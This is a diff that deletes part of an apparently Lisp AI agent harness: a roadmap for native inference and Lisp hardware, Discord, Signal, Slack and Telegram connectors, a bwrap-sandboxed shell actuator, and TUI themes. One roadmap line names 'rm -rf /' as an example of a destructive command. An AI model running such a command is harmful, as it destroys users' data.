-*Phase III — Successor (v2.0.0 and beyond).* Native Common Lisp implementations of Org-mode workflows and Git integration read/write the same file formats. Total independence from Emacs. Emacs users who prefer Emacs keep the bridge. New users get the native experience.
-
-*** Strategic timeline
-
-v0.4.0 Emacs bridge (Phase I Parasite) → v1.0.0 Neurosymbolic Maturity → v2.0.0 Lish editor + Nyxt browser (Stage 1) + Emacs Phase II/III + mobile. The Qt/QML surface enables gradual erosion of the rendering stack without rewriting the application logic. The three-phase Emacs migration ensures Lisp users are never abandoned — the bridge works from day one, the native experience grows under it.
-
-* v3.0.0+: Cannibalization — Eat Your Dependencies
-
-v3.0.0 begins the erosion of external dependencies — the system that was bootstrapped on Qt, WebKit, C runtime, and Linux starts replacing them piece by piece with native Lisp components. This is the realization of the Lisp Machine: not built from scratch, but arrived at through gradual replacement of a working system.
-
-*** v3.0.0: Single-Process Convergence
-- TCP bridge between daemon and EQL5 client becomes an internal function call
-- One SBCL image: daemon + editor + shell + browser share one address space
-- The wire protocol becomes nil — all communication is plist exchange in memory
-
-*** v3.1.0: Lisp-Native Layout Engine
-- Replace QML layout with Lisp layout (Yoga FFI as intermediate step)
-- CLOS-based widget tree with computed dirty regions
-- Diff-based redisplay: only changed cells re-render
-
-*** v3.2.0: Browser Stage 2 — S-Expression DOM
-- Lisp builds its own DOM as native s-expressions
-- WebKit reduced to pixel painting only
-- Agent traverses and manipulates DOM as Lisp data without serialization
-
-*** v3.3.0: Browser Stage 3 — Pure Lisp Browser
-- Lisp-native layout engine handles CSS subset
-- JavaScript via QuickJS remains
-- WebKit turned off entirely
-- The browser is now a Lisp application
-
-*** v3.4.0+: Qt/QML Erosion
-- Replace QML components with Lisp-native widgets (one at a time)
-- Window management via Lisp-native X11/Wayland bindings
-- Font rendering via HarfBuzz FFI → Lisp replacement
-- Event loop: Qt's → SBCL's native thread scheduler
-- Each replacement is verified by the eval harness; the system remains usable at every step
-
-*** v3.6.0: Stage0 Lisp Bootstrap
-- 500-byte hex bootstrap → self-hosting Lisp
-- Replace Linux bootloader
-- The Lisp machine runs on bare metal
-
-* v4.0.0: Native Inference
-
-LLM inference moves in-process. No external servers. No API keys required for inference.
-
-*Lisp as Sovereign Governor, not as Math Engine.* The weights themselves are not stored as Lisp objects — this would waste 50% memory on type tags and destroy cache locality through pointer-chasing. Instead, the entire tensor is tagged as a single Lisp object (~macro-tag~). The Lisp image holds a pointer to optimized flat binary (GPU-friendly, FPGA-compatible). The tag is checked once. After that, all math happens in the optimized backend.
-
-** Native inference (FFI binding to llama.cpp)
-
-- FFI binding to llama.cpp via CFFI: load GGUF models, run inference, manage KV cache. Single SBCL image, zero process boundaries. The agent and the model share memory.
-- Speculative safety: the Dispatcher gate stack intercepts token generation in real time. A token that would produce a blocked action is preemptively suppressed before generation. No external inference API supports this.
-- Foveal-peripheral compute: the model skips pruned context nodes during attention computation. External APIs compute full attention regardless of what you send. In-process inference makes the sparse-tree rendering pay off at the compute level, not just the token level.
-
-** Live surgery on cognition
-
-With in-process inference, the agent's internal state becomes inspectable:
-
-- Pause inference mid-stream. Inspect hidden states and activations as Lisp variables.
-- Modify a vector, change a sampling parameter, resume.
-- Detect when the agent is likely to hallucinate by comparing current activation patterns against historical baselines.
-- The REPL becomes a surgical instrument for the agent's own cognition — not just for verifying code, but for inspecting and correcting the neural process that generates it.
-
-** DSL-compiled model architectures
-
-Model architectures are described as Lisp DSL:
-
-- ~(defmodel passepartout-reasoning :type 'transformer :heads 32 :dim 4096 :layers 32)~
-- The DSL compiles to machine code for the target backend (GPU via CUDA, FPGA via VexRiscv, CPU via llama.cpp).
-- Python interprets at runtime. Lisp compiles once. Model architecture changes are treated the same as code changes — edited, verified, hot-reloaded.
-
-* v5.0.0: Hardware — Tagged Lisp Architecture
-
-The Lisp machine becomes physical. RISC-V with tagged architecture, hardware-enforced type checking, and FPGA prototype for the symbolic core.
-
-*Not a from-scratch processor.* Use RISC-V as the skeleton, add custom Lisp extensions. RISC-V provides the carrier architecture (standard instruction set, existing toolchain, LLVM support). Lisp extensions provide tagged computation (type checking in hardware, parallel garbage collection, S-expression traversal as atomic operations).
-
-** The macro-tag approach
-
-- Top 4–8 bits of every memory word = Type Tag. Hardware checks tags in parallel with ALU operations. Trap on type mismatch.
-- A tensor (70B weights) is one macro-tagged Lisp object — a pointer to flat binary. The tag is checked once. Math happens at native speed. This replaces "weights as sexps" (which wastes 50% memory on per-weight tags and destroys cache locality).
-- Custom instructions: TADD (tagged add), LISP.CAR, LISP.CDR — Lisp primitives as single-cycle hardware operations.
-
-** Phase migration: Host → Co-processor → Self-hosted
-
-1. *Parasitic.* Lisp card (FPGA) is a PCIe co-processor. Host CPU (Intel/AMD, Linux/Windows) handles "dirty" I/O — networking, display, file systems. Lisp card handles tagged computation and the agent's cognitive loop. If Lisp crashes, host survives. Reset card, reload. Memory mapping: the card can see the host's memory. The Lisp environment reaches out and inspects data.
-
-2. *Functional Hijacking.* Lisp UI runs on the card, displays through the PC's GPU. The agent indexes Linux files into Lisp objects. The host becomes an I/O server for the Lisp card.
-
-3. *Driver Cannibalization.* Point the agent at C drivers. Ask it to generate native Lisp drivers for the hardware the card controls directly. PCIe Passthrough for direct hardware access.
-
-4. *Self-Hosting.* Replace the Linux bootloader with Stage0 Lisp (a bootstrap from 500 bytes of hex to a self-hosting Lisp). Cut the umbilical cord. The Lisp machine runs on bare metal.
-
-** Concrete prototyping milestones
-
-| Stage | Hardware | Cost | What it delivers |
-|-------+----------+------+-----------------|
-| TinyTapeout | Custom silicon (130nm) | ~$500–1,000 | 8-bit tagged toy processor with Lisp primitives |
-| Shuttle | Multi-project wafer | ~$10,000–20,000 | Tagged RISC-V core at 100–300MHz |
-| FPGA | Terasic DE10-Nano / Xilinx KCU105 | ~$200–500 | VexRiscv with custom Lisp extensions, PCIe card form factor |
-| Industrial | Commercial foundry (5nm) | ~$10M–100M+ | Competes with modern CPUs on tagged workloads |
-
-Start at TinyTapeout. Validate the tagged architecture works. Move to FPGA. Validate at speed. Only then consider silicon.
-
-** Garbage collection in hardware
-
-Dedicated bus master (Scavenger) runs background garbage collection while the main CPU executes code. No "GC pause." The scavenger traverses the heap in parallel with computation, freeing unreachable objects without stopping the agent.
-
-** Persistent single-address-space memory
-
-NVRAM for the entire heap. Turn on the machine — state is exactly where you left it. No "booting." No "loading memory from disk." The agent's Merkle-tree memory, skill registry, knowledge graph, and induced functions survive restarts as a contiguous hardware state.
-
-** Why this is not "Lisp inside browser"
-
-Most Lisp-on-hardware attempts fail because they try to compete with Intel on raw math. That's the wrong axis. The tagged architecture doesn't need to beat a GPU at matrix multiplication. It needs to beat a CPU at symbolic computation — graph traversal, constraint solving, theorem proving, garbage collection. These are the v3.0.0 symbolic engine's workload. Hardware that makes them single-cycle is the differentiator, not hardware that runs matrix math faster.
-
-* v6.0.0: True Agency
-
-World models, temporal reasoning, goal persistence across restarts.
-
-- World models: Predictive models of user behavior, project dynamics, system state.
-- Temporal reasoning: Scheduling, deadlines, elapsed duration awareness.
-- Goal persistence: Goals survive restarts. Long-term projects in memory-objects.
-
-* Neurosymbolic Phase Reference
-
-Each phase has a detailed implementation spec in its version section above. Summary of what is and isn't built:
-
-| Phase | Component                               | Lines | Release  |
-|-------+-----------------------------------------+-------+----------|
-|     0 | PM-type-level gates + core integrity    | ~75   | v0.10.0  |
-|    0b | Layered auth — Layer 1 (cryptographic)  | ~200  | v0.12.0  |
-|     1 | Triple fact store + abstract API        | ~200  | v0.14.0  |
-|    1a | Self-preservation mechanisms            | ~120  | v0.16.0  |
-|     2 | Screamer admission gate                 | ~200  | v0.18.0  |
-|     3 | Archivist as fact proposer              | ~100  | v0.20.0  |
-|     4 | Sufficiency criterion — the flip        | ~50   | v0.22.0  |
-|     5 | VivaceGraph + Merkle DAG + ontology ver | ~400  | v0.25.0  |
-|     6 | ACL2 structural verification            | ~200  | v0.27.0  |
-|     7 | 10-80-10 planner                        | ~500  | v0.36.0  |
-|    8+ | Semantic Wikipedia integration          | TBD   | v0.36.1+ |
-|-------+-----------------------------------------+-------+----------|
-| Total |                                         | ~2045 |          |
-
-** What Is NOT Built by the Neurosymbolic Phases
-
-1. *A separate knowledge graph serialization format before the ephemeral phase proves what facts are useful.* Premature format commitment is the ontology problem writ small. Let use determine the format.
-
-2. *ACL2 verification of empirical claims.* Apple is red. rm -rf / is destructive. These are observations, not theorems. Screamer handles empirical consistency. ACL2 handles structural verification.
-
-3. *VivaceGraph before Screamer.* The admission gate is the critical path. The persistence layer is an optimization of a working system.
-
-4. *A per-fact ontology designed upfront.* Extract from the gate stack, extend from deductions and observations, prune through contradiction detection. The ontology is a garden, not a building.
-
-5. *New core ASDF components.* Every phase is a skill. A corrupted symbolic engine degrades reasoning but does not kill the agent. Satisfies the self-repair criterion.
-
-6. *A "complete" symbolic index for the broad domain.* The neural index is the permanent gateway to the richness of prose. The symbolic index handles what can be mechanically verified. The boundary is permanent, not transitional. The neuro is the brain. The symbolic is the education.
-
-** Competitive Advantage Analysis
-
-*** Phase 0-1: Deterministic safety, now with type-level guarantees
-The existing Dispatcher gate stack already provides 0-LLM-token safety verification. Phase 0 adds structural guarantees: no heuristic bypassing of the type hierarchy. A request to modify the dispatcher's own rules is impossible by construction, not just caught by pattern matching. No competitor has this — their equivalent of "core file protection" is a prompt instruction, not a type system.
-
-*** Phase 0b: Layered signal authentication — verified origin, not claimed origin
-No competitor verifies /who/ issued a signal. Every agent harness accepts signals from any source that speaks its protocol. A compromised dependency can impersonate any signal source. Passepartout's four-layer authentication gate makes signal source spoofing impossible at Layer 1 (cryptographic), detectable at Layers 2-3 (sensory + deterministic reasoning), and probabilistically flagged at Layer 4 (style analysis). The key registry has Merkle-hashed provenance — key creation, promotion, and revocation are auditable, versioned, and survivable across restarts.
-
-*** Phase 2-3: Verified extraction — the symbolic index grows without corruption
-No competitor verifies extracted facts against an existing knowledge base. Their memory systems (Claude Code's ~extractMemories~, Hermes's MemoryProvider, OpenClaw's session transcripts) record what the LLM /said/ happened, not what the system /proved/ happened. Passepartout's Screamer-gated admission makes the symbolic index a monotonic, verified structure. Facts are admitted because they are consistent, not because the LLM generated them.
-
-*** Phase 4-5: Self-accelerating knowledge — the downward cost curve
-The sufficiency criterion makes Passepartout's "cheaper over time" thesis measurable. As the ratio of non-lossy facts grows, LLM calls for extraction decrease. At sufficiency, extraction of known categories becomes deterministic. The downward cost curve is not a marketing claim — it is a structural property of the architecture, visible through the sufficiency score.
-
-*** Phase 6-7: Provable plan soundness
-No competitor verifies task plans against formal constraints. Claude Code plans in a single LLM call with no post-hoc verification. Hermes decomposes tasks into subtasks but does not prove them non-contradictory. Passepartout's ACL2-verified plans are structurally guaranteed to have no deadlocks, no dependency cycles, and no safety violations. The verification is a proof, not a prompt.
-
-*** Phase 0-1a: Self-preservation — the agent knows when it is wounded
-No competitor detects its own degradation. Claude Code, OpenCode, and Hermes all fail silently when a tool crashes or a dependency is missing — the agent keeps running, producing degraded output, never telling the user. Passepartout's quarantine system detects failing skills, unloads them automatically, and displays a degraded-mode indicator in the status bar. The external watchdog restarts the daemon if the process dies. The integrity monitor detects corrupted core files. The agent refuses to execute commands that would destroy its own runtime, explaining /why/ and redirecting to the safe termination path.
-
-*** Semantic Wikipedia: Entity coverage at zero marginal cost
-No competitor has a general-knowledge entity graph because no competitor has a symbolic engine to populate. Claude Code knows codebases; it doesn't know that Nabokov wrote /Pale Fire/ and lectured on Kafka. Passepartout with Wikidata loaded knows both, and the entity knowledge costs zero LLM tokens — it is loaded once as structured data and queried via VivaceGraph traversals.
-
-*** The permanent competitive advantage
-The competitive advantage is not any single feature. It is the architecture's ability to accumulate verified knowledge from four independent sources (gates, deduction, verified LLM proposals, human authoring) and to make that knowledge queryable with provenance. Competitors accumulate chat transcripts. Passepartout accumulates a provenanced, self-verifying knowledge graph. Transcripts become stale and unreliable. The knowledge graph becomes richer and more trustworthy with every session.
-
-Design rationale is in:
-- ~notes/passepartout-neurosymbolic-design-decisions-and-options.org~ — design rationale for every decision
-- ~notes/passepartout-symbolic-engine-exploration.org~ — original architecture exploration
-- ~notes/passepartout-whitehead.org~ — Whitehead's four concrete contributions
-- ~docs/ARCHITECTURE.org~ — current pipeline architecture
-- ~docs/DESIGN_DECISIONS.org~ — foundational architectural decisions

lisp/channel-cli.lisp

@@ -1,35 +0,0 @@
-(in-package :passepartout)
-
-(defun channel-cli-input (text)
-  "Processes raw text from the command line."
-  (stimulus-inject (list :type :EVENT 
-                         :payload (list :sensor :user-input :text text) 
-                         :meta (list :source :CLI))))
-
-(defskill :passepartout-channel-cli
-  :priority 100
-  :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
-  :deterministic (lambda (action ctx) (declare (ignore ctx)) action))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-channel-cli-tests
-  (:use :cl :passepartout)
-  (:export #:cli-suite))
-
-(in-package :passepartout-channel-cli-tests)
-
-(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
-(fiveam:in-suite cli-suite)
-
-(fiveam:test test-channel-cli-input-format
-  "Contract 1: channel-cli-input injects a properly formed signal without error."
-  (handler-case
-      (progn (channel-cli-input "hello") (fiveam:pass))
-    (error (c)
-      (fiveam:fail "channel-cli-input crashed: ~a" c))))
-
-(handler-case
-    (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
-  (error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))

lisp/channel-discord.lisp

@@ -1,50 +0,0 @@
-(in-package :passepartout)
-(defun discord-get-token ()
-  (vault-get-secret :discord))
-
-(defun discord-send (action context)
-  "Sends a message via Discord REST API."
-  (declare (ignore context))
-  (let* ((payload (getf action :payload))
-         (meta (getf action :meta))
-         (channel-id (or (getf meta :channel-id) (getf payload :chat-id)))
-         (text (or (getf payload :text) (getf action :text)))
-         (token (discord-get-token)))
-    (when (and token channel-id text)
-      (handler-case
-          (dex:post (format nil "https://discord.com/api/v10/channels/~a/messages" channel-id)
-                    :headers '(("Authorization" . ,(format nil "Bot ~a" token))
-                               ("Content-Type" . "application/json"))
-                    :content (cl-json:encode-json-to-string
-                              `((content . ,text))))
-        (error (c) (log-message "DISCORD ERROR: ~a" c))))))
-
-(defun discord-poll ()
-  "Polls Discord via HTTP GET /channels/{id}/messages. In production,
-a WebSocket connection to the Gateway is preferred for real-time events."
-  (let* ((token (discord-get-token)))
-    (when token
-      (handler-case
-          (dolist (channel '("channel-id-here"))  ;; configured channel IDs
-            (let* ((last-id (getf (gethash "discord" *gateway-configs*) :last-update-id 0))
-                   (url (format nil "https://discord.com/api/v10/channels/~a/messages?after=~a"
-                               channel last-id))
-                   (response (dex:get url :headers
-                                       `(("Authorization" . ,(format nil "Bot ~a" token))))))
-              (let ((messages (ignore-errors
-                               (cdr (assoc :message
-                                      (cl-json:decode-json-from-string response))))))
-                (dolist (msg (and (listp messages) messages))
-                  (let* ((id (cdr (assoc :id msg)))
-                         (content (cdr (assoc :content msg)))
-                         (author (cdr (assoc :author msg)))
-                         (author-id (cdr (assoc :id author)))
-                         (is-bot (cdr (assoc :bot author))))
-                    (when (and id content (not is-bot))
-                      (setf (getf (gethash "discord" *gateway-configs*) :last-update-id) id)
-                      (unless (ignore-errors (hitl-handle-message content :discord))
-                        (stimulus-inject
-                         (list :type :EVENT
-                               :meta (list :source :discord :chat-id channel)
-                               :payload (list :sensor :user-input :text content))))))))))
-        (error (c) (log-message "DISCORD POLL ERROR: ~a" c))))))

lisp/channel-shell.lisp

@@ -1,95 +0,0 @@
-(in-package :passepartout)
-
-(defvar *bwrap-available* nil
-  "Set to T at load time if the bwrap binary is found in PATH.")
-
-(defvar *bwrap-base-args*
-  '("--ro-bind" "/usr" "/usr"
-    "--ro-bind" "/lib" "/lib"
-    "--ro-bind" "/bin" "/bin"
-    "--ro-bind" "/etc" "/etc"
-    "--bind" "/tmp" "/tmp"
-    "--unshare-net"
-    "--unshare-ipc")
-  "Base bwrap arguments for the sandbox. --bind ~/memex ~/memex is added dynamically.")
-
-(defun bwrap-available-p ()
-  "Returns T if bwrap (bubblewrap) is installed and usable."
-  *bwrap-available*)
-
-(defun bwrap-wrap-command (cmd timeout memex-dir)
-  "Wrap CMD in a bwrap sandbox with network and IPC isolation.
-Returns a list suitable for uiop:run-program."
-  `("bwrap"
-    ,@*bwrap-base-args*
-    "--bind" ,memex-dir ,memex-dir
-    "timeout" ,(format nil "~a" timeout)
-    "bash" "-c" ,cmd))
-
-;; Initialize at load time
-(setf *bwrap-available*
-      (= 0 (nth-value 2 (uiop:run-program '("which" "bwrap") :output nil :error-output nil :ignore-error-status t))))
-
-(defun actuator-shell-execute (action context)
-  "Executes a shell command via the OS timeout binary with output limit.
-When bwrap is available, wraps the command in a Linux namespace sandbox."
-  (declare (ignore context))
-  (let* ((payload (getf action :payload))
-         (cmd (getf payload :cmd))
-         (timeout-sym (find-symbol "*DISPATCHER-SHELL-TIMEOUT*" :passepartout))
-         (timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30)))
-         (max-sym (find-symbol "*DISPATCHER-SHELL-MAX-OUTPUT*" :passepartout))
-         (max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000)))
-         (memex-dir (or (uiop:getenv "MEMEX_DIR") (namestring (merge-pathnames "memex/" (user-homedir-pathname))))))
-    (log-message "ACT [Shell]: ~a (timeout: ~as)~@[ bwrap: enabled~]" cmd timeout (and *bwrap-available* " (bwrap)"))
-    (let ((cmdline (if *bwrap-available*
-                       (bwrap-wrap-command cmd timeout memex-dir)
-                       (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd))))
-      (multiple-value-bind (out err code)
-          (uiop:run-program cmdline
-                            :output :string :error-output :string
-                            :ignore-error-status t)
-        (cond
-          ((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout))
-          ((> (length out) max-output)
-           (format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output))
-          ((= code 0) out)
-          (t (format nil "ERROR [~a]: ~a" code err)))))))
-
-(register-actuator :shell #'actuator-shell-execute)
-
-(defskill :passepartout-channel-shell
-  :priority 50
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-shell-actuator-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:shell-actuator-suite))
-
-(in-package :passepartout-shell-actuator-tests)
-
-(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
-(in-suite shell-actuator-suite)
-
-(test test-bwrap-wrap-command
-  "Contract 2: bwrap-wrap-command returns properly formatted command list."
-  (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
-    (is (member "bwrap" cmdline :test #'string=))
-    (is (member "--unshare-net" cmdline :test #'string=))
-    (is (member "--unshare-ipc" cmdline :test #'string=))
-    (is (member "echo hello" cmdline :test #'string=))))
-
-(test test-bwrap-available-p-returns-boolean
-  "Contract 1: bwrap-available-p returns T or NIL."
-  (let ((avail (passepartout::bwrap-available-p)))
-    (is (typep avail 'boolean))))
-
-(test test-actuator-shell-execute-echo
-  "Contract 3: actuator-shell-execute runs echo and returns output."
-  (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
-         (result (passepartout::actuator-shell-execute action nil)))
-    (is (stringp result))
-    (is (search "hello" result :test #'char-equal))))

lisp/channel-signal.lisp

@@ -1,41 +0,0 @@
-(in-package :passepartout)
-(defun signal-get-account ()
-  (vault-get-secret :signal))
-
-(defun signal-poll ()
-  "Polls Signal for new messages and injects them into the harness."
-  (let ((account (signal-get-account)))
-    (when account
-      (handler-case
-          (let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
-                                            :output :string :error-output :string :ignore-error-status t))
-                 (lines (cl-ppcre:split "\\\\n" output)))
-            (dolist (line lines)
-              (when (and line (> (length line) 0))
-                (let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
-                       (envelope (cdr (assoc :envelope json)))
-                       (source (cdr (assoc :source envelope)))
-                       (data-message (cdr (assoc :data-message envelope)))
-                       (text (cdr (assoc :message data-message))))
-                  (when (and source text)
-                    (log-message "SIGNAL: Received message from ~a" source)
-                    (unless (ignore-errors (hitl-handle-message text :signal))
-                      (stimulus-inject
-                       (list :type :EVENT
-                             :meta (list :source :signal :chat-id source)
-                             :payload (list :sensor :user-input :text text)))))))))
-        (error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
-
-(defun signal-send (action context)
-  "Sends a message via Signal."
-  (declare (ignore context))
-  (let* ((payload (getf action :payload))
-         (meta (getf action :meta))
-         (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
-         (text (or (getf payload :text) (getf action :text)))
-         (account (signal-get-account)))
-    (when (and account chat-id text)
-      (handler-case
-          (uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
-                            :output :string :error-output :string)
-        (error (c) (log-message "SIGNAL ERROR: ~a" c))))))

lisp/channel-slack.lisp

@@ -1,45 +0,0 @@
-(in-package :passepartout)
-(defun slack-get-token ()
-  (vault-get-secret :slack))
-
-(defun slack-send (action context)
-  "Sends a message via Slack Web API."
-  (declare (ignore context))
-  (let* ((payload (getf action :payload))
-         (meta (getf action :meta))
-         (channel (or (getf meta :channel-id) (getf payload :chat-id)))
-         (text (or (getf payload :text) (getf action :text)))
-         (token (slack-get-token)))
-    (when (and token channel text)
-      (handler-case
-          (dex:post "https://slack.com/api/chat.postMessage"
-                    :headers `(("Authorization" . ,(format nil "Bearer ~a" token))
-                               ("Content-Type" . "application/json; charset=utf-8"))
-                    :content (cl-json:encode-json-to-string
-                              `((channel . ,channel) (text . ,text))))
-        (error (c) (log-message "SLACK ERROR: ~a" c))))))
-
-(defun slack-poll ()
-  "Polls Slack for new messages via conversations.history."
-  (let* ((token (slack-get-token)))
-    (when token
-      (dolist (channel '("general"))  ;; configured channel IDs
-        (handler-case
-            (let* ((url (format nil "https://slack.com/api/conversations.history?channel=~a&limit=5" channel))
-                   (response (dex:get url :headers
-                                       `(("Authorization" . ,(format nil "Bearer ~a" token))))))
-              (let* ((json (ignore-errors (cl-json:decode-json-from-string response)))
-                     (ok (cdr (assoc :ok json)))
-                     (messages (cdr (assoc :messages json))))
-                (when (and ok messages (listp messages))
-                  (dolist (msg messages)
-                    (let* ((text (cdr (assoc :text msg)))
-                           (user (cdr (assoc :user msg)))
-                           (ts (cdr (assoc :ts msg))))
-                      (when (and text user (not (string= user "USLACKBOT")))
-                        (unless (ignore-errors (hitl-handle-message text :slack))
-                          (stimulus-inject
-                           (list :type :EVENT
-                                 :meta (list :source :slack :chat-id channel)
-                                 :payload (list :sensor :user-input :text text))))))))))
-          (error (c) (log-message "SLACK POLL ERROR: ~a" c)))))))

lisp/channel-telegram.lisp

@@ -1,47 +0,0 @@
-(in-package :passepartout)
-(defun telegram-get-token ()
-  (vault-get-secret :telegram))
-
-(defun telegram-poll ()
-  "Polls Telegram for new messages and injects them into the harness."
-  (let* ((token (telegram-get-token)))
-    (when token
-      (let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0))
-             (url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a"
-                          token (1+ last-id))))
-        (handler-case
-            (let* ((response (dex:get url))
-                   (json (cl-json:decode-json-from-string response))
-                   (updates (cdr (assoc :result json))))
-              (dolist (update updates)
-                (let* ((update-id (cdr (assoc :update--id update)))
-                       (message (cdr (assoc :message update)))
-                       (chat (cdr (assoc :chat message)))
-                       (chat-id (cdr (assoc :id chat)))
-                       (text (cdr (assoc :text message))))
-                  (setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
-                  (when (and text chat-id)
-                    (log-message "TELEGRAM: Received message from ~a" chat-id)
-                    (unless (ignore-errors (hitl-handle-message text :telegram))
-                      (stimulus-inject
-                       (list :type :EVENT
-                             :meta (list :source :telegram :chat-id (format nil "~a" chat-id))
-                             :payload (list :sensor :user-input :text text))))))))
-          (error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
-
-(defun telegram-send (action context)
-  "Sends a message via Telegram."
-  (declare (ignore context))
-  (let* ((payload (getf action :payload))
-         (meta (getf action :meta))
-         (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
-         (text (or (getf payload :text) (getf action :text)))
-         (token (telegram-get-token)))
-    (when (and token chat-id text)
-      (handler-case
-          (let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
-            (dex:post url
-                      :headers '(("Content-Type" . "application/json"))
-                      :content (cl-json:encode-json-to-string
-                                `((chat_id . ,chat-id) (text . ,text)))))
-        (error (c) (log-message "TELEGRAM ERROR: ~a" c))))))

lisp/channel-tui-state.lisp

@@ -1,241 +0,0 @@
-(defpackage :passepartout.channel-tui
-  (:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
-  (:export :tui-main :st :add-msg :now :input-string
-           :queue-event :drain-queue :init-state
-           :view-status :view-chat :view-input :redraw
-           :on-key :on-daemon-msg :send-daemon
-           :connect-daemon :disconnect-daemon
-           :*tui-theme* :theme-color))
-(in-package :passepartout.channel-tui)
-
-(defvar *state* nil)
-(defvar *event-queue* nil)
-(defvar *event-lock* (bt:make-lock "tui-event-lock"))
-
-(defvar *tui-theme*
-  ;; Roles
-  '(:user :green :agent :white :system :yellow
-    ;; Content
-    :input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
-    ;; Status
-    :connected :green :disconnected :red :busy :magenta :idle :white
-    ;; Gate trace
-    :gate-passed :green :gate-blocked :red :gate-approval :yellow
-    :hitl :magenta
-    ;; Tools (future use)
-    :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
-    ;; Display
-    :scroll-indicator :cyan :border :white :background :black
-    ;; Differentiator (v0.4.0)
-    :rule-count :cyan :focus-map :yellow
-    ;; UI
-    :dim :white :highlight :cyan :accent :green)
-  "Color theme plist. 27 semantic keys → Croatoan color values.
-See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
-
-(defvar *tui-theme-presets*
-  '(:dark  (:user :green :agent :white :system :yellow
-            :input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
-            :connected :green :disconnected :red :busy :magenta :idle :white
-            :gate-passed :green :gate-blocked :red :gate-approval :yellow
-            :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
-            :scroll-indicator :cyan :border :white :background :black
-            :rule-count :cyan :focus-map :yellow
-            :dim :white :highlight :cyan :accent :green)
-    :light (:user :blue :agent :black :system :red
-            :input :black :timestamp :yellow :help :blue :error :red :warning :yellow
-            :connected :green :disconnected :red :busy :magenta :idle :black
-            :gate-passed :green :gate-blocked :red :gate-approval :yellow
-            :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :black
-            :scroll-indicator :blue :border :black :background :white
-            :rule-count :blue :focus-map :red
-            :dim :white :highlight :blue :accent :green)
-    :gruvbox (:user "#458588" :agent "#ebdbb2" :system "#fabd2f"
-              :input "#ebdbb2" :timestamp "#928374" :help "#83a598" :error "#fb4934" :warning "#fabd2f"
-              :connected "#b8bb26" :disconnected "#fb4934" :busy "#d3869b" :idle "#a89984"
-              :gate-passed "#b8bb26" :gate-blocked "#fb4934" :gate-approval "#fabd2f"
-              :tool-running "#d3869b" :tool-success "#b8bb26" :tool-failure "#fb4934" :tool-output "#ebdbb2"
-              :scroll-indicator "#83a598" :border "#a89984" :background "#282828"
-              :rule-count "#83a598" :focus-map "#fabd2f"
-              :dim "#928374" :highlight "#83a598" :accent "#b8bb26")
-    :solarized (:user "#268bd2" :agent "#839496" :system "#b58900"
-                :input "#839496" :timestamp "#93a1a1" :help "#2aa198" :error "#dc322f" :warning "#b58900"
-                :connected "#859900" :disconnected "#dc322f" :busy "#d33682" :idle "#657b83"
-                :gate-passed "#859900" :gate-blocked "#dc322f" :gate-approval "#b58900"
-                :tool-running "#d33682" :tool-success "#859900" :tool-failure "#dc322f" :tool-output "#839496"
-                :scroll-indicator "#2aa198" :border "#657b83" :background "#002b36"
-                :rule-count "#2aa198" :focus-map "#b58900"
-                :dim "#586e75" :highlight "#2aa198" :accent "#859900")
-    :nord (:user "#81a1c1" :agent "#d8dee9" :system "#ebcb8b"
-           :input "#d8dee9" :timestamp "#4c566a" :help "#88c0d0" :error "#bf616a" :warning "#ebcb8b"
-           :connected "#a3be8c" :disconnected "#bf616a" :busy "#b48ead" :idle "#616e88"
-           :gate-passed "#a3be8c" :gate-blocked "#bf616a" :gate-approval "#ebcb8b"
-           :hitl "#b48ead"
-           :tool-running "#b48ead" :tool-success "#a3be8c" :tool-failure "#bf616a" :tool-output "#d8dee9"
-           :scroll-indicator "#88c0d0" :border "#4c566a" :background "#2e3440"
-           :rule-count "#88c0d0" :focus-map "#ebcb8b"
-           :dim "#616e88" :highlight "#88c0d0" :accent "#5e81ac")
-    :tokyonight (:user "#7aa2f7" :agent "#c0caf5" :system "#e0af68"
-                 :input "#c0caf5" :timestamp "#565f89" :help "#7dcfff" :error "#f7768e" :warning "#e0af68"
-                 :connected "#9ece6a" :disconnected "#f7768e" :busy "#bb9af7" :idle "#565f89"
-                 :gate-passed "#9ece6a" :gate-blocked "#f7768e" :gate-approval "#e0af68"
-                 :hitl "#bb9af7"
-                 :tool-running "#bb9af7" :tool-success "#9ece6a" :tool-failure "#f7768e" :tool-output "#c0caf5"
-                 :scroll-indicator "#7dcfff" :border "#1f2335" :background "#1a1b26"
-                 :rule-count "#7dcfff" :focus-map "#e0af68"
-                 :dim "#565f89" :highlight "#7dcfff" :accent "#7aa2f7")
